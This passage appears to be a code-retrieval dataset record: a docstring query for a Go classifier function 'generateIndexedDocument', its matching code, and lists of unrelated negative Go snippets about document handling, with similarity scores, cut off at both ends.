VerifyCPF(processedDocument)\n } else if stringSize == 14 {\n return processedDocument, VerifyCNPJ(processedDocument)\n } else {\n //log.Println(stringSize, document, processedDocument)\n return processedDocument, false\n }\n}", "func (c *central) broadcastAddDoc(teammate map[string]bool,args *centralrpc.AddDocArgs) error {\n\tfor k, _ := range teammate {\n\t\terr := c.sendAddedDoc(k,args.HostPort, args.DocId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func AddNewDefinition(objName string, s interface{}, sw *Doc) {\n\tif _, ok := sw.Definitions[objName]; !ok {\n\t\tsw.Definitions[objName] = &Definition{}\n\t\tsw.Definitions[objName].Parse(s, sw)\n\t}\n}", "func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\n\t//fmt.Printf(\"(Parse_cwl_document) starting\\n\")\n\n\tif useObjectID != \"\" {\n\t\tif !strings.HasPrefix(useObjectID, \"#\") {\n\t\t\terr = fmt.Errorf(\"(NewCWLObject) useObjectID has not # as prefix (%s)\", useObjectID)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif existingContext != nil {\n\t\tcontext = existingContext\n\t} else {\n\t\tcontext = NewWorkflowContext()\n\t\tcontext.Path = inputfilePath\n\t\tcontext.InitBasic()\n\t}\n\n\tgraphPos := strings.Index(yamlStr, \"$graph\")\n\n\t//yamlStr = strings.Replace(yamlStr, \"$namespaces\", \"namespaces\", -1)\n\t//fmt.Println(\"yamlStr:\")\n\t//fmt.Println(yamlStr)\n\n\tif graphPos != -1 {\n\t\t// *** graph file ***\n\t\t//yamlStr = strings.Replace(yamlStr, \"$graph\", \"graph\", -1) // remove dollar sign\n\t\tlogger.Debug(3, \"(Parse_cwl_document) graph document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLGraphDocument\\n\")\n\t\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(3, \"(Parse_cwl_document) simple document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLSimpleDocument\\n\")\n\n\t\t//useObjectID := \"#\" + inputfilePath\n\n\t\tvar objectID string\n\n\t\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tnewEntrypoint = objectID\n\t}\n\tif len(objectArray) == 0 {\n\t\terr = fmt.Errorf(\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\", graphPos)\n\t\treturn\n\t}\n\t//fmt.Printf(\"(Parse_cwl_document) end\\n\")\n\treturn\n}", "func NewDocument(url *url.URL, node *html.Node, logger log.Logger) *Document {\n\treturn &Document{\n\t\turl: url,\n\t\tnode: node,\n\t\tlogger: logger,\n\t}\n}", "func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument, opts ...ReqOption) (string, error) {\n\treqOpt := &ReqOpts{}\n\n\tfor _, o := range opts {\n\t\to(reqOpt)\n\t}\n\n\tjsonToSend, err := c.marshal(document)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to marshal document: %w\", err)\n\t}\n\n\tlogger.Debugf(\"Sending request to create the following document: %s\", jsonToSend)\n\n\tstatusCode, httpHdr, respBytes, err := c.sendHTTPRequest(http.MethodPost,\n\t\tc.edvServerURL+fmt.Sprintf(\"/%s/documents\", url.PathEscape(vaultID)), jsonToSend, c.getHeaderFunc(reqOpt))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif statusCode == http.StatusCreated {\n\t\treturn httpHdr.Get(\"Location\"), nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"the EDV server returned status code %d along with the following message: %s\",\n\t\tstatusCode, respBytes)\n}", "func (t MatchTask) addSentenceWithOffset(contextMarker string, words []string, offset int) {\n\tvar sentence = Sentence{offset, words}\n\n\tt.sentenceByContextMarker[contextMarker] = sentence\n}", "func (r *MongoRepository) add(definition *Definition) error {\n\tsession, coll := r.getSession()\n\tdefer session.Close()\n\n\tisValid, err := definition.Validate()\n\tif false == isValid && err != nil {\n\t\tlog.WithError(err).Error(\"Validation errors\")\n\t\treturn err\n\t}\n\n\t_, err = coll.Upsert(bson.M{\"name\": definition.Name}, definition)\n\tif err != nil {\n\t\tlog.WithField(\"name\", definition.Name).Error(\"There was an error adding the resource\")\n\t\treturn err\n\t}\n\n\tlog.WithField(\"name\", definition.Name).Debug(\"Resource added\")\n\treturn nil\n}", "func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n if len(args) != 3 {\n return shim.Error(\"Incorrect number of arguments. Expecting 3\")\n }\n\n user_uid := args[0]\n uid := args[1]\n json_props := args[2]\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\n\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\n return shim.Error(\"Document already exists\")\n }\n\n user, err := t.loadUser(APIstub, user_key)\n if err != nil {\n return shim.Error(fmt.Sprintf(\"The %s user doesn't not exist\", user_uid))\n }\n user.Documents = append(user.Documents, uid)\n\n\n new_doc := new(Document)\n new_doc.Data = make(map[string]interface{})\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\n if err != nil {\n return shim.Error(\"Can't parse json props\")\n }\n\n new_doc_json, _ := json.Marshal(new_doc)\n APIstub.PutState(doc_key, new_doc_json)\n\n user_json, _ := json.Marshal(user)\n APIstub.PutState(user_key, user_json)\n\n return shim.Success(nil)\n}", "func (c *Corpus) Add(vals ...string) bool {\n\tfor _, v := range vals {\n\t\tif _, ok := c.words[v]; !ok {\n\t\t\tc.Size++\n\t\t\tc.words[v] = true\n\t\t}\n\t}\n\treturn true\n}", "func add(mgr manager.Manager, r reconcile.Reconciler) error {\n\t// Create a new controller\n\tc, err := controller.New(\"mongodbatlasdatabase-controller\", mgr, controller.Options{Reconciler: r})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Watch for changes to primary resource MongoDBAtlasDatabase\n\terr = c.Watch(&source.Kind{Type: &knappekv1alpha1.MongoDBAtlasDatabase{}}, &handler.EnqueueRequestForObject{})\n// err = c.Watch(&source.Kind{Type: &MongoDBAtlasDatabase{}}, &handler.EnqueueRequestForObject{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func PutDoc(c *gin.Context) {\n\tvar doc Document\n\tstore := c.MustGet(\"store\").(*Store)\n\ttxn, have_txn := c.Get(\"NewRelicTransaction\")\n\tkey := c.Param(\"key\")\n\n\terr := c.ShouldBindJSON(&doc)\n\tif err != nil {\n\t\tif have_txn {\n\t\t\ttxn.(newrelic.Transaction).NoticeError(err)\n\t\t}\n\t\tc.JSON(http.StatusUnprocessableEntity, \"\")\n\t\treturn\n\t}\n\n\tstore.Set(key, doc)\n\tc.JSON(http.StatusNoContent, nil)\n}", "func (c Client) Create(input *CreateDocumentInput) (*CreateDocumentResponse, error) {\n\treturn c.CreateWithContext(context.Background(), input)\n}", "func ConvertDoc(r io.Reader) (string, map[string]string, error) {\n\tf, err := NewLocalFile(r, \"/tmp\", \"sajari-convert-\")\n\tif err != nil {\n\t\treturn \"\", nil, fmt.Errorf(\"error creating local file: %v\", err)\n\t}\n\tdefer f.Done()\n\n\t// Meta data\n\tmc := make(chan map[string]string, 1)\n\tgo func() {\n\t\tmeta := make(map[string]string)\n\t\tmetaStr, err := exec.Command(\"wvSummary\", f.Name()).Output()\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvSummary:\", err)\n\t\t}\n\n\t\t// Parse meta output\n\t\tinfo := make(map[string]string)\n\t\tfor _, line := range strings.Split(string(metaStr), \"\\n\") {\n\t\t\tif parts := strings.SplitN(line, \"=\", 2); len(parts) > 1 {\n\t\t\t\tinfo[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])\n\t\t\t}\n\t\t}\n\n\t\t// Convert parsed meta\n\t\tif tmp, ok := info[\"Last Modified\"]; ok {\n\t\t\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\n\t\t\t\tmeta[\"ModifiedDate\"] = fmt.Sprintf(\"%d\", t.Unix())\n\t\t\t}\n\t\t}\n\t\tif tmp, ok := info[\"Created\"]; ok {\n\t\t\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\n\t\t\t\tmeta[\"CreatedDate\"] = fmt.Sprintf(\"%d\", t.Unix())\n\t\t\t}\n\t\t}\n\n\t\tmc <- meta\n\t}()\n\n\t// Document body\n\tbc := make(chan string, 1)\n\tgo func() {\n\n\t\t// Save output to a file\n\t\toutputFile, err := ioutil.TempFile(\"/tmp\", \"sajari-convert-\")\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"TempFile Out:\", err)\n\t\t\treturn\n\t\t}\n\t\tdefer os.Remove(outputFile.Name())\n\n\t\terr = exec.Command(\"wvText\", f.Name(), outputFile.Name()).Run()\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvText:\", err)\n\t\t}\n\n\t\tvar buf bytes.Buffer\n\t\t_, err = buf.ReadFrom(outputFile)\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvText:\", err)\n\t\t}\n\n\t\tbc <- buf.String()\n\t}()\n\n\t// TODO: Should errors in either of the above Goroutines stop things from progressing?\n\tbody := <-bc\n\tmeta := <-mc\n\n\t// TODO: Check for errors instead of len(body) == 0?\n\tif len(body) == 0 {\n\t\tf.Seek(0, 0)\n\t\treturn ConvertDocx(f)\n\t}\n\treturn body, meta, nil\n}", "func (r Dictionary) Add(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\tr[word] = definition\n\tcase nil:\n\t\treturn ErrKeyWordDuplicate\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}", "func (m *CFDocument) Init(uriPrefix string, baseName string) {\n\trandomSuffix, _ := random()\n\tname := \"http://frameworks.act.org/CFDocuments/\" + baseName + \"/\" + randomSuffix\n\n\tid := uuid.NewV5(uuid.NamespaceDNS, name)\n\n\tm.URI = uriPrefix + \"/CFDocuments/\" + id.String()\n\tm.CFPackageURI = uriPrefix + \"/CFPackages/\" + id.String()\n\tm.Identifier = id.String()\n\tm.Creator = \"subjectsToCase\"\n\tm.Title = baseName\n\tm.Description = baseName\n\tt := time.Now()\n\tm.LastChangeDateTime = fmt.Sprintf(\"%d-%02d-%02dT%02d:%02d:%02d+00:00\",\n\t\tt.Year(), t.Month(), t.Day(),\n\t\tt.Hour(), t.Minute(), t.Second())\n}", "func (i *TelegramBotAPI) SendDocument(userID int64, file interface{}) {\n\tmsg := tgbotapi.NewDocumentUpload(userID, file)\n\t_, err := i.API.Send(msg)\n\tlog.WithError(err)\n\treturn\n}", "func (s *ReleaseService) AddTextRelease(r *Release, authToken string) (*Release, error) {\n\tvar (\n\t\tmethod = http.MethodPost\n\t\tpath = fmt.Sprintf(\"/releases\")\n\t)\n\treq := s.client.newRequest(path, method)\n\taddJWTToRequest(req, authToken)\n\tr.Type = Text\n\terr := addBodyToRequestAsJSON(req, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.addRelease(req)\n}", "func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\n\n\tfor _, v := range tags {\n\n\t\tcount, err := s.Exists(v)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error attempting to get record count for keyword %s with error %s\", v, err)\n\t\t}\n\n\t\tlog.Info().Msgf(\"Found %d site search tag records for keyworkd %s\", count, v)\n\n\t\t// Determine if the document exists already\n\t\tif count == 0 {\n\t\t\tlog.Info().Msgf(\"]Tag does not exist for %s in the database\", v)\n\t\t\tvar newSTM models.SiteSearchTagsModel\n\t\t\tnewSTM.Name = v\n\t\t\tnewSTM.TagsID = models.GenUUID()\n\t\t\tvar doc models.Documents\n\t\t\tvar docs []models.Documents\n\t\t\tdoc.DocType = doctype\n\t\t\tdoc.DocumentID = docID\n\t\t\tdocs = append(docs, doc)\n\n\t\t\tnewSTM.Documents = docs\n\t\t\tlog.Info().Msgf(\"Inserting new tag %s into database\", v)\n\t\t\terr = s.InsertSiteSearchTags(&newSTM)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error inserting new site search tag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Tag %s inserted successfully\", v)\n\t\t\t// If not, then we add to existing documents\n\t\t} else {\n\n\t\t\tstm, err := s.GetSiteSearchTagByName(v)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error getting current instance of searchtag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Found existing searchtagid record for %s\", stm.Name)\n\t\t\t//fmt.Println(mtm.Documents)\n\n\t\t\t// Get the list of documents\n\t\t\tdocs := stm.Documents\n\n\t\t\t// For the list of documents, find the document ID we are looking for\n\t\t\t// If not found, then we update the document list with the document ID\n\t\t\tfound := false\n\t\t\tfor _, d := range docs {\n\t\t\t\tif d.DocumentID == v {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found {\n\t\t\t\tlog.Info().Msgf(\"Updating tag, %s with document id %s\", v, docID)\n\t\t\t\tvar doc models.Documents\n\t\t\t\tdoc.DocType = doctype\n\t\t\t\tdoc.DocumentID = docID\n\t\t\t\tdocs = append(docs, doc)\n\t\t\t\tstm.Documents = docs\n\t\t\t\t//fmt.Println(mtm)\n\t\t\t\terr = s.UpdateSiteSearchTags(&stm)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error updating searchtag for keyword %s with error %s\", v, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}" ]
[ "0.5771074", "0.5591482", "0.54680395", "0.53671986", "0.53431314", "0.51922405", "0.51701146", "0.5161865", "0.51556957", "0.5064674", "0.4935853", "0.49269405", "0.49071938", "0.4900753", "0.48730364", "0.48526248", "0.4838465", "0.48126084", "0.47779813", "0.4728559", "0.47040424", "0.4692788", "0.4688546", "0.4650209", "0.4620315", "0.46107838", "0.46018663", "0.45730302", "0.45636916", "0.4563005", "0.45372853", "0.4518306", "0.44899467", "0.4465351", "0.4464091", "0.44626155", "0.44598797", "0.44594508", "0.44488057", "0.4442809", "0.44112986", "0.4407696", "0.43966842", "0.43946746", "0.4388389", "0.43865147", "0.4385627", "0.43849543", "0.4382793", "0.43783805", "0.43730667", "0.43708447", "0.43622935", "0.4361723", "0.43590418", "0.43513486", "0.43488067", "0.43463814", "0.4346203", "0.4344649", "0.4337885", "0.43324605", "0.43317202", "0.4327751", "0.43098766", "0.43084848", "0.42940146", "0.42911503", "0.42774218", "0.42756298", "0.42724046", "0.42508668", "0.42478022", "0.42457232", "0.4233428", "0.4229557", "0.4226195", "0.42191923", "0.42151436", "0.4205539", "0.42036694", "0.4202305", "0.41931874", "0.41903523", "0.41867813", "0.41793597", "0.41792533", "0.4162198", "0.41621175", "0.4155312", "0.41487736", "0.41485038", "0.41476217", "0.4145553", "0.41318837", "0.41313702", "0.41313392", "0.4127253", "0.4123658", "0.41222262" ]
0.7784615
0
generateIndexedDocument creates an indexedDocument from the supplied document. if addWords is true, the classifier dictionary is updated with new tokens encountered in the document.
func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument { id := &indexedDocument{ Tokens: make([]indexedToken, 0, len(d.Tokens)), dict: c.dict, } for _, t := range d.Tokens { var tokID tokenID if addWords { tokID = id.dict.add(t.Text) } else { tokID = id.dict.getIndex(t.Text) } id.Tokens = append(id.Tokens, indexedToken{ Index: t.Index, Line: t.Line, ID: tokID, }) } id.generateFrequencies() id.runes = diffWordsToRunes(id, 0, id.size()) id.norm = id.normalized() return id }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *Classifier) addDocument(name string, doc *document) {\n\t// For documents that are part of the corpus, we add them to the dictionary and\n\t// compute their associated search data eagerly so they are ready for matching against\n\t// candidates.\n\tid := c.generateIndexedDocument(doc, true)\n\tid.generateFrequencies()\n\tid.generateSearchSet(c.q)\n\tid.s.origin = name\n\tc.docs[name] = id\n}", "func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\n\tdoc := tokenize(in)\n\treturn c.generateIndexedDocument(doc, false)\n}", "func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\n\tprev := len(m.ind)\n\tfor term := range docWordFreq {\n\t\tm.ind = append(m.ind, index.IndexOf(term))\n\t\tm.val = append(m.val, weight(term))\n\t}\n\n\tcur := prev + len(docWordFreq)\n\tquickSort(m, prev, cur-1)\n\tm.ptr = append(m.ptr, cur)\n}", "func DocumentAdd(docs []Document) {\n\tlen := len(documents)\n\tfor i := range docs {\n\t\tdocs[i].SetID(uint64(len + i))\n\t\tdocuments = append(documents, docs[i])\n\t}\n\n\tindexDocuments.add(docs)\n}", "func generateIndex(textsNumber int, wordsNumber int) *Index {\n\ttitles := make([]string, textsNumber)\n\tentries := make(map[string]Set)\n\tfor i := 0; i < textsNumber; i++ {\n\t\ttitles[i] = fmt.Sprintf(\"title-with-number-%d\", i)\n\t}\n\tfor i := 0; i < wordsNumber; i++ {\n\t\tset := Set{}\n\t\tfor j := 0; j < textsNumber; j++ {\n\t\t\tset.Put(j)\n\t\t}\n\t\tentries[fmt.Sprintf(\"w%d\", i)] = set\n\t}\n\treturn &Index{\n\t\tTitles: titles,\n\t\tData: entries,\n\t}\n}", "func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\n\treturn &documentIndex{\n\t\tindex: map[string][]byte{},\n\t\topts: opts,\n\t}\n}", "func loadDocument(id, sc, fields interface{}) (index.Document, error) {\n\n\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\n\tif err != nil {\n\t\treturn index.Document{}, fmt.Errorf(\"Could not parse score: %s\", err)\n\t}\n\n\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\n\tlst := fields.([]interface{})\n\tfor i := 0; i < len(lst); i += 2 {\n\t\tprop := string(lst[i].([]byte))\n\t\tvar val interface{}\n\t\tswitch v := lst[i+1].(type) {\n\t\tcase []byte:\n\t\t\tval = string(v)\n\t\tdefault:\n\t\t\tval = v\n\n\t\t}\n\t\tdoc = doc.Set(prop, val)\n\t}\n\treturn doc, nil\n}", "func GenNaiveSearchIndex(item models.Item) string {\n\twords := make(map[string]struct{})\n\n\t// Extract name.\n\tfor _, v := range extractWords(item.Name) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract type of item.\n\tfor _, v := range extractWords(item.Type) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract properties.\n\tfor _, mod := range item.ExplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.ImplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.UtilityMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.EnchantMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.CraftedMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\n\t// Construct final string with sorted keywords.\n\tkeys := make([]string, 0, len(words))\n\tfor key := range words {\n\t\tkeys = append(keys, key)\n\t}\n\tsort.Strings(keys)\n\treturn strings.Join(keys, \" \")\n}", "func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tif _, ok := this.Docs[docId]; ok {\n\t\tlog.Warningf(\"document %d already exists, associated value will be overwritten\")\n\t}\n\tthis.Docs[docId] = wcs\n}", "func (t *TrigramIndex) Add(doc string) int {\n\tnewDocID := t.maxDocID + 1\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tvar mapRet IndexResult\n\t\tvar exist bool\n\t\tif mapRet, exist = t.TrigramMap[tg]; !exist {\n\t\t\t//New doc ID handle\n\t\t\tmapRet = IndexResult{}\n\t\t\tmapRet.DocIDs = make(map[int]bool)\n\t\t\tmapRet.Freq = make(map[int]int)\n\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\tmapRet.Freq[newDocID] = 1\n\t\t} else {\n\t\t\t//trigram already exist on this doc\n\t\t\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\n\t\t\t\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\n\t\t\t} else {\n\t\t\t\t//tg eixist but new doc id is not exist, add it\n\t\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\t\tmapRet.Freq[newDocID] = 1\n\t\t\t}\n\t\t}\n\t\t//Store or Add result\n\t\tt.TrigramMap[tg] = mapRet\n\t}\n\n\tt.maxDocID = newDocID\n\tt.docIDsMap[newDocID] = true\n\treturn newDocID\n}", "func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}", "func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\n\n\tcd := \"clientdocuments_\" + clientId\n\n\tsi, err := solr.NewSolrInterface(solrUrl, cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar englishEntities, entities []string\n\tfor _, entity := range entitiesFound {\n\t\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\n\t\tentities = append(entities, entity.UrlPageTitle)\n\t}\n\n\tvar documents []solr.Document\n\tclientDocument := make(solr.Document)\n\tclientDocument.Set(\"documentID\", doc.ClientDocumentShort.DocumentID)\n\tclientDocument.Set(\"documentTitle\", doc.DocumentTitle)\n\tclientDocument.Set(\"document\", doc.Document)\n\tclientDocument.Set(\"languageCode\", doc.LanguageCode)\n\tclientDocument.Set(\"createdAt\", doc.CreatedAt)\n\tclientDocument.Set(\"sentiment\", doc.Sentiment)\n\tclientDocument.Set(\"themes\", themes)\n\tclientDocument.Set(\"entities\", entities)\n\tclientDocument.Set(\"englishEntities\", englishEntities)\n\tdocuments = append(documents, clientDocument)\n\n\t_, err = si.Add(documents, 1, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while adding document to Solr. No such core exists\")\n\t}\n\n\terr = Reload(cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func buildIndexWithWalk(dir string) {\n\t//fmt.Println(len(documents))\n\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\n\t\tif (err != nil) {\n\t\t\tfmt.Fprintln(os.Stdout, err)\n\t\t}\n\t\tdocuments = append(documents, path)\n\t\treturn nil\n\t});\n}", "func newDoc(c *gin.Context) {\n\tkey := uuid.New()\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tif res.Message == \"file exists\" {\n\t\t\tc.JSON(fileExistsErr, res)\n\t\t} else {\n\t\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\t\tc.JSON(statusErr, res)\n\t\t}\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}", "func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\n\n\tfor _, v := range tags {\n\n\t\tcount, err := s.Exists(v)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error attempting to get record count for keyword %s with error %s\", v, err)\n\t\t}\n\n\t\tlog.Info().Msgf(\"Found %d site search tag records for keyworkd %s\", count, v)\n\n\t\t// Determine if the document exists already\n\t\tif count == 0 {\n\t\t\tlog.Info().Msgf(\"]Tag does not exist for %s in the database\", v)\n\t\t\tvar newSTM models.SiteSearchTagsModel\n\t\t\tnewSTM.Name = v\n\t\t\tnewSTM.TagsID = models.GenUUID()\n\t\t\tvar doc models.Documents\n\t\t\tvar docs []models.Documents\n\t\t\tdoc.DocType = doctype\n\t\t\tdoc.DocumentID = docID\n\t\t\tdocs = append(docs, doc)\n\n\t\t\tnewSTM.Documents = docs\n\t\t\tlog.Info().Msgf(\"Inserting new tag %s into database\", v)\n\t\t\terr = s.InsertSiteSearchTags(&newSTM)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error inserting new site search tag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Tag %s inserted successfully\", v)\n\t\t\t// If not, then we add to existing documents\n\t\t} else {\n\n\t\t\tstm, err := s.GetSiteSearchTagByName(v)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error getting current instance of searchtag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Found existing searchtagid record for %s\", stm.Name)\n\t\t\t//fmt.Println(mtm.Documents)\n\n\t\t\t// Get the list of documents\n\t\t\tdocs := stm.Documents\n\n\t\t\t// For the list of documents, find the document ID we are looking for\n\t\t\t// If not found, then we update the document list with the document ID\n\t\t\tfound := false\n\t\t\tfor _, d := range docs {\n\t\t\t\tif d.DocumentID == v {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found {\n\t\t\t\tlog.Info().Msgf(\"Updating tag, %s with document id %s\", v, docID)\n\t\t\t\tvar doc models.Documents\n\t\t\t\tdoc.DocType = doctype\n\t\t\t\tdoc.DocumentID = docID\n\t\t\t\tdocs = append(docs, doc)\n\t\t\t\tstm.Documents = docs\n\t\t\t\t//fmt.Println(mtm)\n\t\t\t\terr = s.UpdateSiteSearchTags(&stm)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error updating searchtag for keyword %s with error %s\", v, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}", "func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}", "func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\n\ts := &DocumentService{\n\t\tconfig: config,\n\t\tHandler: mux.NewRouter(),\n\t}\n\ts.createClients(ctx)\n\n\t// These is the un-authenticated endpoint that handles authentication with Auth0.\n\ts.Handler.HandleFunc(\"/debug/health\", health.StatusHandler).Methods(\"GET\")\n\ts.Handler.Handle(\"/login\", middleware.JSON(authentication.Handler(config))).Methods(\"POST\")\n\n\t// These requests all require authentication.\n\tlogMiddleware := logging.LogMiddleware{\n\t\tTable: s.bigquery.Dataset(config.Get(\"bigquery.dataset\")).Table(config.Get(\"bigquery.log_table\")),\n\t}\n\tauthRouter := s.Handler.PathPrefix(\"/document\").Subrouter()\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\"GET\")\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\"POST\")\n\tauthRouter.Handle(\"/{id}\", authentication.Middleware(config, s.GetDocument)).Methods(\"GET\")\n\tauthRouter.Handle(\"/{id}\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\"DELETE\")\n\tauthRouter.Use(logMiddleware.Middleware)\n\tauthRouter.Use(handlers.CompressHandler)\n\treturn s, nil\n}", "func (iob *IndexOptionsBuilder) Build() bson.D {\n\treturn iob.document\n}", "func BuildIndex(nGram int, dictionary []string) *NGramIndex {\n\tindex := make(InvertedIndex)\n\n\tfor id, word := range dictionary {\n\t\tfor _, term := range SplitIntoNGrams(nGram, word) {\n\t\t\tif _, ok := index[term]; !ok {\n\t\t\t\tindex[term] = PostingList{}\n\t\t\t}\n\n\t\t\tindex[term] = append(index[term], uint32(id))\n\t\t}\n\t}\n\n\treturn &NGramIndex{\n\t\tnGram: nGram,\n\t\tindex: index,\n\t\tdictionary: dictionary,\n\t}\n}", "func BuildTestDocument() *did.Document {\n\tdoc := &did.Document{}\n\n\tmainDID, _ := didlib.Parse(testDID)\n\n\tdoc.ID = *mainDID\n\tdoc.Context = did.DefaultDIDContextV1\n\tdoc.Controller = mainDID\n\n\t// Public Keys\n\tpk1 := did.DocPublicKey{}\n\tpk1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td1, _ := didlib.Parse(pk1ID)\n\tpk1.ID = d1\n\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\n\tpk1.Controller = 